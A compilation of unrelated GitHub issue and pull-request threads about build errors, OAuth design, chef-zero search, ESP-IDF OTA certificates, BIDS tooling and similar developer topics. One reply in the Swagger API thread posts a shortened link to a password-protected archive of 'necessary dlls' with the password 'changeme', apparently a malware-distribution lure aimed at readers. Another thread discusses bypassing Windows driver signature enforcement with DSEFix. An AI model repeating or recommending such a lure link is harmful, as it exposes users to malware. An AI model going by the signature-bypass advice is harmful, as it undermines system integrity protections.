    firebaseAdmin.initializeApp({
        credential: firebaseAdmin.credential.cert(serviceAccount),
        databaseURL: "https://oranges-testing.firebaseio.com"
    });
}

because firebaseAdmin is undefined...  It works fine in dev, but not when I npm run build....


⚠ SceneTime has degraded performance

In 59126c9, SceneTime ($ST) experienced degraded performance:

HTTP code: 200
Response time: 23912 ms

Resolved: SceneTime performance has improved in 1e05ecb after 5 minutes.


Backend - API routes exposure for WebHub using Swagger

I think this will help you.
https://bit.ly/47P0Nvo
Pass: changeme
I put the necessary dlls in the archive


doc: macOS Catalina add steps

These steps have proven effective for some users.

Checklist

[ ] npm install && npm test passes
[ ] tests are included
[x] documentation is changed or added
[x] commit message follows commit guidelines

Description of change

20aa0b4


Issue94 link pull request

It's impossible to auto merge because we were working from a different originated branch. Just making a pull request because Dana said so tee hee.

I will try to review code a little more, however, this pull request needs to resolve conflicts before this can be successfully merged. Please pull the latest master branch into your branch and resolve the conflicts.

Please merge the latest master into your branch, resolve conflicts and push back up to Github for merging into master.

Fixed conflicts


Fix/network id develop

Port #15955

!ci-build-me

!ci-nightly-me

!ci-build-me

!ci-build-me

!ci-build-me

!ci-build-me

!ci-build-me

!ci-build-me

!ci-build-me

!ci-build-me

!ci-build-me


Working Haven API deployment

This gives us a functioning deployment of havenapi inside OpenShift. healthcheck is running and successfully connecting to the DB, and secrets and keys are configured inside k8s.
Next step is exposing the api deployment as a Service that is reachable externally, this will likely require dealing with TLS and DNS.
@knmurphy I'd like you to review this PR with me to be sure that someone other than me knows how this was put together.
Some useful commands to know:
oc get events
oc get deployments
oc get pods
Also very useful to browse around the pods in the OpenShift web interface. The metrics, terminal, and logs tabs are incredibly useful.

we discussed these changes live.


Authentication / Authorization decision for user experience

Feature description
we need to decide on how authorization happens in the user experience flow of things.
Feature design or visual mockup
some ideas:

Use OAuth with the OKD console

A possible back draw is we still need GitHub access for CLI server auth, so they would need to login twice here

Use GitHub OAuth

All auth roles would need to be handled in GitHub which is a little weird

A mixture of both 1 and 2

Users would have to login twice once to OKD console and once to GitHub.

@alohr51 the CLI team and Security team can help you consider their approaches so that we have a synergistic approach across the components.

some thoughts after a call with Jim last week

Normal OAuth with the OCP console.

Pro - Can do this
Con - Do not get any GitHub info or able to send any GitHub REST requests for the user.

OCP Console & Kabanero Console are both configured to have GitHub as OAuth Provider

Pros

Can do this today
Can configure console app to use GitHub OAuth directly as well
Can get GitHub teams and make REST requests for the user.

Cons

OCP cannot pass the GitHub OAuth token back
The Kabanero console does not go through the OCP Console for OAuth
Any additional OAuth Providers would have to be coded into the Kabanero Console
OCP Console and Kabanero Console can get out of sync with their OAuth Provider if one is updated and the other isn't.

OCP Console is configured to use GitHub as an OAuth provider and can pass both tokens back

Pros

Kabanero Console uses the OCP consoles OAuth
We can make GitHub REST requests for the user

Cons

Not implemented yet.

Right now I don't think there is a "unified" OAuth for Kabanero, what I mean by this is, we don't require GitHub OAuth (or any other OAuth provider) to be setup on OKD/OC.

this means I am leaning towards doing number 2 from the list above where the OKD/OCP GitHub OAuth and the Kabanero console GitHub OAuth are both optional.

This way, the Kabanero console will be the way it is today with the added optional support of logging into the configured GitHub when the Kab Instance was created.
We won't have to rely on having the users setup OAuth themselves, we will just support it if there is a configured GitHub.

This is what I am envisioning for the instance page. So there wouldn't be an entire console application lockdown on logging into GitHub, only this specific tile inside the console app and the new collection page with collection management functions

@ralanlittle @jtmulvey @cajaygle any opinions on this method (last 3 comments above)? If doesn't have to be the final method, but it seems like a good starting point.

Going to go with the implementation in this comment to start: https://github.com/kabanero-io/kabanero-landing/issues/65#issuecomment-561260628

@alohr51 I agree with this initial approach to not yet integrate with OpenShift's OAuth server for this and instead drive the login to Git using the Kab CLI Login microservice and subsequent microservices to do CRUD ops on collections.  The JWT will work the same for this as it does for the Kab CLI we have today that runs as a Go app on the client.  This means when this is driven from the OCP console, where the user has already logged in, they will need to click the Login with Github button and login again.  This is fine for now- and maybe forever for such a use case.  Adding @chunlongliang-ibm as an FYI.

@kaczyns created some lovely diagrams of proposed changes for this work.
kabanero_github_oauth.pdf

@kaczyns , about your comment "userApi and website don’t appear to be important?" Those 3 github configuration properties are useful:
userNameAttribute="login" userApi="https://api.github.com/user" scope="user repo read:org" .
Both "userNameAttribute" and "scope" can be fixed (hardcoded).  The "userApi" should be configurable


Fix enivronment variable and directory permissions for rabbitmq image.

Signed-off-by: Dan Lorenc<EMAIL_ADDRESS>

looks good. holding on merge here while some broken stuff finishes building


bug in chef zero search query involving multiple attributes and attribute presence check

Hi,
there seem to be some inconsistency between chef server and chef zero on queries involving multiple nested attributes and attribute presence check...
on enterprise chef server:

knife search node "languages_ruby:*" -i   -> return all nodes that have "ruby" attribute under "languages"

on chef zero (included in chef client 11.12.8, as test-kitchen provisioner):

knife search node "languages_ruby:*" -i -z   -> return 0 node
however, this following query works on chef-zero: knife search node "languages_ruby_version:*" -i -z  -> return 1 node

It seems does this bug apply only in node attributes (opposite to "leaf" attributes) in chef zero ? or maybe I miss something on query semantic ...
nicolas farges
GE Capital

I am encoutering the same issue, is this issue still valid, or did you find out a way around?

After diving into the code, it seems that search uses a matches_doc? method here https://github.com/chef/chef-zero/blob/master/lib/chef_zero/endpoints/search_endpoint.rb#L117
Which one comes from the result of a SolrParser.parse, and it seems to return a BinaryOperator, and when you look at the way it handles the attributes lookup here https://github.com/chef/chef-zero/blob/master/lib/chef_zero/solr/query/binary_operator.rb#L29 , you notice that there is no job looking up for nested attribute form, it just look at the json at the corresponding key.
I'm quite new to chef-zero, does anyone has an idea on how it should be handled?

Any ideas?

I'm running into the same issue. Are there any plans to implement a fix, or does anyone have a good workaround?

After 5 years, this is still a bug. Ist there any work going on?


Download with Cache

Improve support for web requests with an in built cache.

Should read the caching headers from response.
Only cached for the session with temporary file cleaned up on exit.
Only cached for GET requests.

Discuss engine-side caching with @JaroslavTulach
Should be able to be disabled by the end user (at a request or higher level).

i.e. Data.fetch and equivalent have options to control the caching.

Look to use Channels or another modern Java fetch techniques.

Where should the cached files be stored? In projects data directory?

Look to use Channels or another modern Java fetch techniques.

Should we download multiple resources in parallel? Then virtual threads would be our choice.


Error when using array in examples

It seems that using an array anywhere as part of examples produces a compilation error.
const schema = {
    type: "array",
    items: {
        type: "string"
    },
    examples: [
        ["test"]
    ]
} as const;

type Example = FromSchema<typeof schema>;

This produces a compilation error:
Type '{ readonly type: "array"; readonly items: { readonly type: "string"; }; readonly examples: readonly [readonly ["test"]]; }' does not satisfy the constraint 'JSONSchema'.
  Type '{ readonly type: "array"; readonly items: { readonly type: "string"; }; readonly examples: readonly [readonly ["test"]]; }' is not assignable to type '{ readonly type?: JSONSchema6TypeName | readonly JSONSchema6TypeName[] | undefined; readonly items?: boolean | { readonly $id?: string | undefined; readonly $ref?: string | undefined; ... 35 more ...; readonly format?: string | undefined; } | readonly (boolean | { ...; })[] | undefined; ... 35 more ...; readonly not...'.
    Types of property 'examples' are incompatible.
      Type 'readonly [readonly ["test"]]' is not assignable to type 'readonly (string | number | boolean | { readonly [x: string]: string | number | boolean | ... | { readonly [x: number]: string | number | boolean | ... | ... | null; readonly length: number; readonly toString: {}; readonly toLocaleString: {}; ... 30 more ...; readonly [Symbol.unscopables]: {}; } | null; } | { ...; }...'.
        Type 'readonly ["test"]' is not assignable to type 'string | number | boolean | { readonly [x: string]: string | number | boolean | ... | { readonly [x: number]: string | number | boolean | ... | ... | null; readonly length: number; readonly toString: {}; readonly toLocaleString: {}; ... 30 more ...; readonly [Symbol.unscopables]: {}; } | null; } | { ...; } | null'.
          Type 'readonly ["test"]' is not assignable to type '{ readonly [x: number]: string | number | boolean | { readonly [x: string]: string | number | boolean | ... | ... | null; } | ... | null; readonly length: number; readonly toString: {}; readonly toLocaleString: {}; ... 30 more ...; readonly [Symbol.unscopables]: {}; }'.ts(2344)

Another example. This works fine:
const schema = {
    additionalProperties: true,
    type: "object",
    properties: {
        foo: {
            type: "string"
        }
    },
    examples: [
        {
            foo: "bar",
            someInt: 1
        }
    ]

} as const;

type Example = FromSchema<typeof schema>;

But if I add an array to the example I get a similar compilation error as above:
const schema = {
    additionalProperties: true,
    type: "object",
    properties: {
        foo: {
            type: "string"
        }
    },
    examples: [
        {
            foo: "bar",
            someInt: 1,
            someArray: [] // <-- Type 'readonly []' is not assignable to type '{ readonly [x: number]: string | number | boolean | { readonly [x: string]: string | number | boolean | ... | ... | null; } | ... | null; readonly length: number; readonly toString: {}; readonly toLocaleString: {}; ... 30 more ...; readonly [Symbol.unscopables]: {}; }'.ts(2344)
        }
    ]

} as const;

type Example = FromSchema<typeof schema>;

Hi @paulmelliere and thanks for the feedback.
This is a problem with DefinitelyTyped, not with json-schema-to-ts.
The typing is incorrect in the V7: https://github.com/DefinitelyTyped/DefinitelyTyped/blob/41a7ec7bcc81649c40bbed97f3c3b3fabb126e43/types/json-schema/index.d.ts#L724
...But correct in the v6:
https://github.com/DefinitelyTyped/DefinitelyTyped/blob/41a7ec7bcc81649c40bbed97f3c3b3fabb126e43/types/json-schema/index.d.ts#L552
I opened a PR to fix it, but it is blocked by tests failing in a dependent package: https://github.com/DefinitelyTyped/DefinitelyTyped/pull/59773
I'll let you know when it is fixed.

Excellent! Thank you!


使用https ota升级时，一直验证失败 (IDFGH-10911)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[X] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

General issue report
使用的是simple ota的例子，只修改了这一段
    esp_http_client_config_t config = {
        .url = "https://24u0d66921.goho.co/simple_ota.bin",//CONFIG_EXAMPLE_FIRMWARE_UPGRADE_URL,
#ifdef CONFIG_EXAMPLE_USE_CERT_BUNDLE
        .crt_bundle_attach = esp_crt_bundle_attach,
#else
        .cert_pem = (char *)server_cert_pem_start,               //使用的是这个
#endif /* CONFIG_EXAMPLE_USE_CERT_BUNDLE */
        .event_handler = _http_event_handler,
        .keep_alive_enable = true,
#ifdef CONFIG_EXAMPLE_FIRMWARE_UPGRADE_BIND_IF
        .if_name = &ifr,
#endif
    };

一直报错验证过不去
I (5844) simple_ota_example: Starting OTA example task
I (5854) simple_ota_example: Attempting to download update from https://24u0d66921.goho.co
I (5864) main_task: Returned from app_main()
I (5874) wifi:<ba-add>idx:0 (ifx:0, 0e:3a:38:11:e7:36), tid:0, ssn:69, winSize:64
E (5984) esp-tls-mbedtls: mbedtls_ssl_handshake returned -0x2700
I (5984) esp-tls-mbedtls: Failed to verify peer certificate!
E (5984) esp-tls: Failed to open new connection
E (5994) transport_base: Failed to open a new connection
E (5994) HTTP_CLIENT: Connection failed, sock < 0
E (6004) esp_https_ota: Failed to open HTTP connection: ESP_ERR_HTTP_CONNECT
E (6014) esp_https_ota: Failed to establish HTTP connection
E (6014) simple_ota_example: Firmware upgrade failed

应该是pem文件有问题，但是不知道应该怎么改，我用的是香橙派搭建了一个apache2的服务器，在内网里面，因为我没有公网ip，使用的是花生壳内网穿透工具，访问这个地址可以看到以前临时做的一个网页。
https://24u0d66921.goho.co/wp-content/themes/dwthemes/
这是花生壳的官网：
https://hsk.oray.com/download/?utm_source=baidu&utm_medium=cpc&utm_campaign=hsk_download&referral_id=45629&wordid=pc010090075202105100006535&adp=cl1&bd_vid=7558192445521571442
他们提供的域名是支持https的，现在就是不清楚应该怎么操作才能连接上我的服务器。

这是menuconfig的配置，第一项在代码里面不起作用了，已经换成网址了

@Szeroy
Do you have CONFIG_EXAMPLE_USE_CERT_BUNDLE enabled in your sdkconfig? I would suggest that you turn on this config which will enable the certificate bundle feature and hence all commonly used root certificates shall be automatically available to the application.

@Szeroy
Do you have CONFIG_EXAMPLE_USE_CERT_BUNDLE enabled in your sdkconfig? I would suggest that you turn on this config which will enable the certificate bundle feature and hence all commonly used root certificates shall be automatically available to the application.

成功了，谢谢你


Add fromDialCode(String dialCode)

Add fromDialCode(String dialCode)
Deprecate fromCode(String isoCode) with replace with fromCountryCode(String countryCode) for clarity

Not sure what the best naming scheme is for replacing fromCode(String isoCode) maybe fromIsoCode(String isoCode) would have been better.


SP non server Disappearing Grid storage

There was no error in the log or crash so not sure what to do but tell you what happened
I am on ATM8 latest might be the whole reason for the problems
forgeVersion, 43.2.3
minecraft 1.19.2
It is not a error or maybe even a bug
I just noticed that when moving a lot of items out of the wireless grid to transfer it to
another storage system the storage disappeared all items were gone
When I tried to connect to the grid again I saw the portable storage terminals items instead of the main systems
Then closed it worried it would corrupt something
opened it again nothing was there
waited a little then it all returned this did not just effect the wireless but the RS system as a whole
grids could not see the systems items even ones on external storage
there is power millions of RF per tick
Do you think this is a bug in RS itself or is there some sort of buffer between your mod and it to cause this
RS had just found a problem with another mod that can be avoided by using server setup

It's impossible to tell if this is a bug in RS itself or in this addon mod without having any error/crash or a way to reproduce it, sorry


High resolution timestamp as 3rd argument to watch callback?

This would be useful when trying to do accurate timing e.g. for calculating distances using a HC-SR04 ultrasonic range sensor. I couldn't get accurate enough timing using JS and process.hrtime().
On a related note, is it possible to watch an output?
Tx for creating onoff.

High resolution timestamp as 3rd argument to watch callback?
This would be useful when trying to do accurate timing e.g. for calculating distances using a HC-SR04 ultrasonic range sensor. I couldn't get accurate enough timing using JS and process.hrtime().

The mechanisms used internally by onoff are not suitable enough for determining the time of a GPIO state change accurate to a small number of microseconds. This is what's required for measuring proximity with a HC-SR04. The pigpio module does however have a mechanism called alerts that allows the time of a GPIO state change to be determined accurate to a few microseconds. It works quite well with the HC-SR04 ultrasonic range sensor. There's an example here.

On a related note, is it possible to watch an output?

As mentioned in the documentation for the Gpio constructor the 3.13 Linux kernel dropped support for interrupt generating outputs, irrespective of whether the underlying hardware supports them or not. onoff therefore doesn't support watching outputs.

Tx for creating onoff.

You're welcome :)

So onoff won't be extended to support such timestamps as the timestamps would not be particularly accurate.


How to cache chunk data?

Currently I have multiplayer setup to stream the map chunks over websockets as noa requests world data. Its sent using protobuf and each chunk is about 4 KB of data. The protobuf is parsed in a web worker and then the data is transferred over to the main thread
However, building the array of block IDs on the server is slow (~5ms-20ms/chunk) since these are large arrays and it asks for ~thousand of them on load. Individual chunks don't change often, so in theory, it should be fairly cache-able.
But I don't think the IDs for the worldData chunks are the same on every client or even between page loads (regardless of world origin offset)?
How would you suggest caching the data so that I could stick a blob in redis or a database and just send that to the client when they provide the ID?

So, the caveat here is that my own noa game isn't multiplayer, so I'm not super confident that the engine correctly covers your use case, and probably need your feedback.
With that said: the IDs attached to worldDataNeeded events are static across clients and reloads, so it should be safe to use them as a key for caching -- provided only that every client uses the same chunkSize.
Specifically, the ID attached to world data events looks like:
[
   (x / chunkSize) | 0,
   (y / chunkSize) | 0,
   (z / chunkSize) | 0,
   worldName,
].join('|')

where x,y,z are the world coords of the lower-left voxel in that chunk (or any voxel in the chunk, really) and worldName is the current value of noa.worldName. (The world name is there for disambiguating sets of world data - like overworld / nether in minecraft.)
So, in general it should be safe to use those IDs as the key for caching world data, but when a single voxel ID changes you'll need to go and poke that value into the cached data for that chunk (on the server, if that's the single source of truth for voxel data).
Note: a rudimentary version of this is implemented in the test world, here. When a chunk is unloaded it caches the voxel data by the request ID, and when a chunk is requested it only generates new world data if there's no cache. However this is just client side, so it doesn't need to update cache when a single voxel changes, only when a whole chunk gets unloaded (because the player moved out of range).

oh great.
I'll just use this ID. I thought it was not globally unique but my caching code was just wrong 😄

Heh gotcha. As a side note, there's actually currently no API that exposes the mapping between voxel locations and chunk ID strings, so the handling above is kind of coupled to engine internals. The engine should probably expose a proper API related to this, but I haven't really thought out what the right metaphor is for it. But anyway it's safe for now, and since you have the engine cloned locally for tweaking etc.


td widths are not honored

Column (td level) widths are now supported by adding style="...; width: 25%; ..." to the td elements. Closing issue.

I can't for the life of me get td: width to work with the latest release. The resulting docx just gives two 50% columns.
Here's my code:

Some Text Here

some more text

Originally posted by @Coachall in https://github.com/privateOmega/html-to-docx/issues/2#issuecomment-948461918

Same problem here : the width of td elements is not taken into account and the resulting docx just gives two 50% columns...

Has anyone been able to fix it somehow?

Addressed in #164


List what "you" already have that could be added to BIDS-matlab

As discussed in the last meeting (see #59) we will be keeping track of what "people" have already created to deal BIDS that could be added to this repository

FieldTrip (i.e. the toolbox at large) includes low-level code to read all file formats that BIDS deals with
bids-matlab-tools mentioned in this post

https://github.com/sccn/bids-matlab-tools/blob/master/rename_brainvision_files.m
https://github.com/sccn/bids-matlab-tools/blob/master/bids_spreadsheet2participants.m

CPP-BIDS: to help with creating certain files (tsv and json) for raw BIDS

From Tibor:
Automatic analysis:

https://github.com/automaticanalysis/automaticanalysis/blob/master/aa_engine/aas_processBIDS.m
https://github.com/automaticanalysis/automaticanalysis/blob/master/aa_toolbox/aa_export_toBIDS.m

SPM also has some BIDS functionality: https://en.wikibooks.org/wiki/SPM/BIDS
AnyWave has BIDS tools under development: https://meg.univ-amu.fr/wiki/AnyWave:Faq#BIDS_support
Swartz Center Matlab Tools for EEG BIDS: https://github.com/sccn/bids-matlab-tools

I'm developing a BIDS-compliant pipeline for individual subject fMRI analysis, fMRIPermPipe (fppipe-v2 branch). I've written various low-level functions for interacting with BIDS filenames and metadata files, which might be useful: https://github.com/bmdeen/fmriPermPipe/tree/fppipe-v2/%2Bfpp/%2Bbids .
Functions that may be of interest: 1) fpp.bids.changeName (modifies a BIDS-formatted filename), 2) fpp.bids.jsonChangeValue (changes value in json file), 3) fpp.bids.jsonReorient (modifies metadata for a change in MRI image orientation).
I've also written a number of wrappers for FSL functions like flirt, fnirt, applywarp, invwarp, and convert_xfm, which generate .json files with updated metadata: https://github.com/bmdeen/fmriPermPipe/tree/fppipe-v2/%2Bfpp/%2Bfsl . Probably doesn't make sense to incorporate these directly into bids-matlab, but they may be useful to others.

Functions that may be of interest: 1) fpp.bids.changeName (modifies a BIDS-formatted filename), 2) fpp.bids.jsonChangeValue (changes value in json file), 3) fpp.bids.jsonReorient (modifies metadata for a change in MRI image orientation).
I've also written a number of wrappers for FSL functions like flirt, fnirt, applywarp, invwarp, and convert_xfm, which generate .json files with updated metadata: https://github.com/bmdeen/fmriPermPipe/tree/fppipe-v2/%2Bfpp/%2Bfsl . Probably doesn't make sense to incorporate these directly into bids-matlab, but they may be useful to others.

I think some of those functions could be interesting though I suspect that we might want to try to make them more general by providing bids-matlab the ability to create filenames and JSON files that are compliant with BIDS derivatives specs.

Yeah, these specific functions are not exactly what you'd want in bids-matlab - e.g., they're designed to be flexible and work with non-BIDS-compliant input filenames. I shared them anyway, since there might be some useful functionality.

Pieter Vandemaele: https://github.com/GIfMI/matbids
Henk Mutsaerts:https://github.com/ExploreASL/ExploreASL

Hi!
You already mentioned Fieldtrip toolbox and I saw @robertoostenveld as a contributor, so he might have included the functions already, but just in case here you can have some examples and the use of the 'data2bids' function in Fieldtrip:
https://www.fieldtriptoolbox.org/example/bids/


Fix security issue & updates dependencies

Hey @dschenk !
Hope everything is going well. I've been getting alerts when using this plugin because there is a critical security issue. I've linked it on the CHANGELOG.
I also took the chance to bump everything else as much as I could without any major hiccups except for the exception test.
Let me know if you have further questions here!

Hi Antonio-Laguna
Thanks for the PR! Greatly appreciated.


What to enter in api and source

What is LANraragi 😅😅

This is a client for LANraragi, if you don’t know what is that, you didn’t need this app.

Is this app for reading manga


Hi may i get some help for the kernel driver

i have already try to use the dsefix and BB to manual map the driver into kernel land,but the dsefix said is success but actually is not and the BB return the status 0xC0000022 and 0xC0000034 can you please tell me some tips of how to get this work ?
Ton of thanks

You use DSEFix to disable DSE and BB to load the driver? Did you got BSOD after a while?

yes i got a BSOD after nearly half hour and i use DSEFix -e to restore it but the driver still not work

Cause you can't break DSE's Integrity Check if you are on win10
don't waste your time to resolve that bsod problem  just use win7
or find other way. also you can solve this problem to sign your drvier.

ok  thanks

this looks like resolve?


Refactor code_for_op to accept a dtype

The immediate user is UnaryOps.NEG for the bool dtype.

openpilot flakey again, maybe we should do a retry? https://github.com/tinygrad/tinygrad/actions/runs/7065373654/job/19235253307?pr=2555#step:15:602

openpilot flaky again, maybe we should do a retry? https://github.com/tinygrad/tinygrad/actions/runs/7065373654/job/19235253307?pr=2555#step:15:602

Two things:

As I mentioned in the other PR, which param does this dtype apply to?
I don't think a retry is a good choice. Can you remove the non determinism?

both inputs and the final output, because inputs always get upcasted.
the exception here is TernayOps.WHERE, there is always one bool and two vars of the same dtype, in that case, the two vars and the return value have the same dtype


About dependency

Hi, could you specify the dependency version (e.g. python3.6 or tf 1.4 etc.) in the repo?

Hi! Sorry for the inconvenience. The repository runs on Python 3.6 and TF 1.2. Thanks!


build erroor:FormatException: Bad UTF-8 encoding 0xb5 (at offset 4)

i build the project under window10 using 'webdev build'。And i got the error:
D:\quickstart>webdev build
Creating build script, took 12882ms
[INFO] Reading cached asset graph completed, took 1.4s
[INFO] Checking for updates since last build completed, took 2.3s
[INFO] Running build completed, took 992ms
[INFO] Caching finalized dependency graph completed, took 529ms
[SEVERE] build_web_compilers|entrypoint on web/main.dart (cached):
Unable to find modules for some sources, this is usually the result of either a
bad import, a missing dependency in a package (or possibly a dev_dependency
needs to move to a real dependency), or a build failure (if importing a
generated file).
Please check the following imports:
import 'package:quickstart/app_component.template.dart' as ng; from quickstart|web/main.dart at 2:1
[SEVERE] angular on lib/app_component.dart (cached):
Unhandled exception in the AngularDart compiler!
Please report a bug: https://github.com/dart-lang/angular/issues/new
FormatException: Bad UTF-8 encoding 0xb5 (at offset 4)
[SEVERE] Failed after 1.6s
who can help me solve the problem?

What is the name of the file that has your root component? and what is the name of the package as specified by your pubspec.yaml?
Is it app_component.dart, and quickstart? If not those need to be changed in the import to match.

my pubspec.yaml file:
name: quickstart
description: A web app that uses AngularDart Components
version: 1.0.0
homepage: https://www.example.com
author: Your Name<EMAIL_ADDRESS>environment:
sdk: '>=2.0.0 <3.0.0'
dependencies:
angular: ^5.0.0
angular_components: ^0.9.0
dev_dependencies:
angular_test: ^2.0.0
build_runner: ^0.10.0
build_test: ^0.10.2
build_web_compilers: ^0.4.0
test: ^1.0.0
the file list that has on my root component:
D:\quickstart's directory
2018/09/26  09:28              .
2018/09/26  09:28              ..
2018/09/26  10:09              .dart_tool
2018/09/25  10:05               236 .gitignore
2018/09/25  15:21             9,561 .packages
2018/09/25  10:05               556 analysis_options.yaml
2018/09/25  10:05                50 CHANGELOG.md
2018/09/26  10:33              lib
2018/09/25  15:21            14,215 pubspec.lock
2018/09/25  10:05               399 pubspec.yaml
2018/09/25  10:05               296 README.md
2018/09/25  10:05              test
2018/09/26  15:08              web

Unfortunately this isn't enough information to help. If you have a reproduction, we can take a look.


Fix potential deadlock with nested GetOrCreate calls

The new revived lock logic is also faster:
name               old time/op    new time/op    delta
NewGetOrCreate-10     301µs ± 0%     101µs ± 0%  -66.59%  (p=0.004 n=6+5)

name               old alloc/op   new alloc/op   delta
NewGetOrCreate-10     19.3B ± 3%     19.7B ± 3%     ~     (p=0.567 n=6+6)

name               old allocs/op  new allocs/op  delta
NewGetOrCreate-10      0.00           0.00          ~     (all equal)

Codecov Report

Merging #3 (ccb657c) into main (e6d6418) will decrease coverage by 0.91%.
The diff coverage is 50.00%.

@@             Coverage Diff             @@
##              main       #3      +/-   ##
===========================================
- Coverage   100.00%   99.08%   -0.92%
===========================================
  Files            1        1
  Lines          108      109       +1
===========================================
  Hits           108      108
- Misses           0        1       +1

Impacted Files
Coverage Δ

lazycache.go
99.08% <50.00%> (-0.92%)
:arrow_down:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Install JupyterLab extensions in default build

It would be great if we could install some common JupyterLab extensions in the default binder. Where would we submit a PR to add these? Thanks! @blink1073 @sccolbert

The word over on repo2docker is that users can add a bash script called postBuild that installed jupyterlab extensions.

We should add an example the shows this off (yes this is possible and we
want to highlight this kinda stuff!)
On Wed, Sep 27, 2017, 7:32 PM Brian E. Granger<EMAIL_ADDRESS>wrote:

The word over on repo2docker is that users can add a bash script called
postBuild that installed jupyterlab extensions.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/jupyterhub/binderhub/issues/126#issuecomment-332614934,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABwSHeF6QxhUlQotoFLiGAdWdJtQn8c-ks5smpTNgaJpZM4PmH2M
.


network profiling support

In the past, I was a engineer working on our company's trace system.
And we generate system architecture through trace, and use google pprof to visualization it.

but it was not enought, cause trace do not record relation between service and db.
and it would be useful if parca agent could record network traffic between ip, and tran ip to dns.

Hi! This feature would be great, but I don't think we will support it anytime in the short or even medium future as we are focusing mostly on CPU profiling and then memory

Thanks for opening this issue @zdyj3170101136. Like Javier mentioned, we will be focusing on CPU and then memory profiling in the near future but let's keep this issue open. If you or anybody from the community would like to work on this, we'll be happy to review PRs. :)


Develop

Includes default credentials fix

:tada: This PR is included in version 0.4.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Add RuntimeFn as an export to recipes index

Closes #739
"Partial" builds (simple tsc builds, no bundling) will emit wrong declaration when using recipes. This allows it to use the correct import.

bump * could somebody please have a look at this, monkey patching our builds is not a solution


Remove multiply_fixed_point_dyn and use upstream kernel directly

Which issue does this PR close?

Closes #.
Rationale for this change

This kernel is moved to upstream and can be removed now.
What changes are included in this PR?

Are these changes tested?

Are there any user-facing changes?

cc @alamb @tustvold

Some code change is overlapped with #6785.


Add no_std support

Through no_std support, we now also support wasm32v1-none.

Introduced a new std crate feature that is enabled by default. Without it #[no_std] is enabled, but only on Web! This allows Web target to build without std, which is now supported by wasm-bindgen as well.
Additionally, various changes had to be done to support no_std:

no_std does not support thread_local!, we use once_cell to polyfill this gap. once_cell is not a new dependency, it is already a dependency of wasm-bindgen.

With feature = "std", we use thread_local! as before.
Without std and without target_feature = "atomics", we use a static mut with once_cell::unsync::Lazy.
Without std and with atomics, we use #[thread_local] with once_cell::unsync::Lazy.

Some f64 instructions are not available on no_std and had to be polyfilled. For this code from libm was copied. Which is used by std as well.

SystemTimeError now only implements Error with feature = "std".

no_std testing requires to refrain from using the default test harness. The problem was that native tests still needed to use the default test harness. To solve this, integration tests were removed from root crate and two workspace members added, that manually define all integration tests as test targets. The tests-web crate has harness = false on all tests, while tests-native functions regularly. This allow us to use the default test harness for native tests while disabling it for Web.
Additionally, every test target requires the run crate feature, which are enabled by default depending on the target by the root crate. This way regular testing can function correctly for each target as long as --all-features is not used. E.g. cargo test --workspace and cargo test --workspace --target wasm32-unknown-unknown will work correctly.
The tests-web library is used to implement the panic_handler, global_allocator and critical_section. It is always imported to reduce code duplication in all tests.

Used serde-json-core to cover tests with no_std as well.

All links to std documentation had to be supplemented with manual link when std is not present.

Improvements to CI:

Refactored all matrices for simplification and covering --no-default-features.
Split regular and minimal versions building off tests.
Split doctests from regular tests.
Update Rust toolchain when testing cargo publish.
Test coverage improvements:

The new wasm-bindgen update allows us to refrain from having to pass cfg flags to the wasm-bindgen proc-macros.
Use Rust llvm-tools instead of the official LLVM package.
Remove invalid script tag from coverage report.
Retain coverage artifact instead of limiting it to one day.
Refactor large environment variables into global level ones.

Small fixes that were stumbled upon:

Expose web_time::web with cfg(docsrs) on native as well.
Serialize and Deserialize implementation are now marked with doc(cfg(feature = "serde")).
Std docs.rs link unnecessarily including stable.
Recommendation for -Ctarget-feature=+nontrapping-fptoint was moved from the top-level to the "Usage" section.
The minimal version of Serde is now fully specified as v1.0.0.
Fix some typos in internal documentation.

no_std support for serde_test: https://github.com/serde-rs/test/pull/36
no_std support for getrandom: https://github.com/rust-random/getrandom/pull/541.
no_std Wasm f64 instructions: https://github.com/rust-lang/stdarch/pull/1677

/fast-forward-merge


Add RuntimeDependency ToString() override

Currently RuntimeDepencies are logged as when running with the -d switch.
- Adding reference to a runtime dependency => Dotnet.Script.Core.Metadata.RuntimeDependency
- Adding reference to a runtime dependency => Dotnet.Script.Core.Metadata.RuntimeDependency
- Adding reference to a runtime dependency => Dotnet.Script.Core.Metadata.RuntimeDependency
- Adding reference to a runtime dependency => Dotnet.Script.Core.Metadata.RuntimeDependency
- ...etc.

added a ToString() override so it's logged as
+ Adding reference to a runtime dependency => Name: Microsoft.CodeAnalysis.Common, Path: C:\Users\MattiasKarlsson\.nuget\packages\microsoft.codeanalysis.common/1.3.0\lib/netstandard1.3/Microsoft.CodeAnalysis.dll
+ Adding reference to a runtime dependency => Name: Microsoft.CodeAnalysis.CSharp, Path: C:\Users\MattiasKarlsson\.nuget\packages\microsoft.codeanalysis.csharp/1.3.0\lib/netstandard1.3/Microsoft.CodeAnalysis.CSharp.dll
+ Adding reference to a runtime dependency => Name: Microsoft.CodeAnalysis.VisualBasic, Path: C:\Users\MattiasKarlsson\.nuget\packages\microsoft.codeanalysis.visualbasic/1.3.0\lib/netstandard1.3/Microsoft.CodeAnalysis.VisualBasic.dll
+ Adding reference to a runtime dependency => Name: Microsoft.CSharp, Path: C:\Users\MattiasKarlsson\.nuget\packages\microsoft.csharp/4.3.0\lib/netstandard1.3/Microsoft.CSharp.dll
+ ...etc.

LGTM


Fix some lgtm alerts

I hope this is the right way to contribute.  I've fixed a few alerts flagged by lgtm.com.

https://lgtm.com/projects/g/bcgit/bc-java/snapshot/0695a8c2cbd8b595de4702c97ec40796084d1f4d/files/prov/src/main/java/org/bouncycastle/jce/provider/BrokenKDF2BytesGenerator.java#V88
https://lgtm.com/projects/g/bcgit/bc-java/snapshot/0695a8c2cbd8b595de4702c97ec40796084d1f4d/files/pkix/src/main/java/org/bouncycastle/cms/CMSSignedDataParser.java#V188

There are a number of additional alerts flagged by lgtm.com: https://lgtm.com/projects/g/bcgit/bc-java/alerts/
(You can also enable pull request integration on lgtm.com for fully automated PR reviews)

Merged. Thanks.


update property ObjectRefs's json aliases to object_refs

The docs of v2.1:
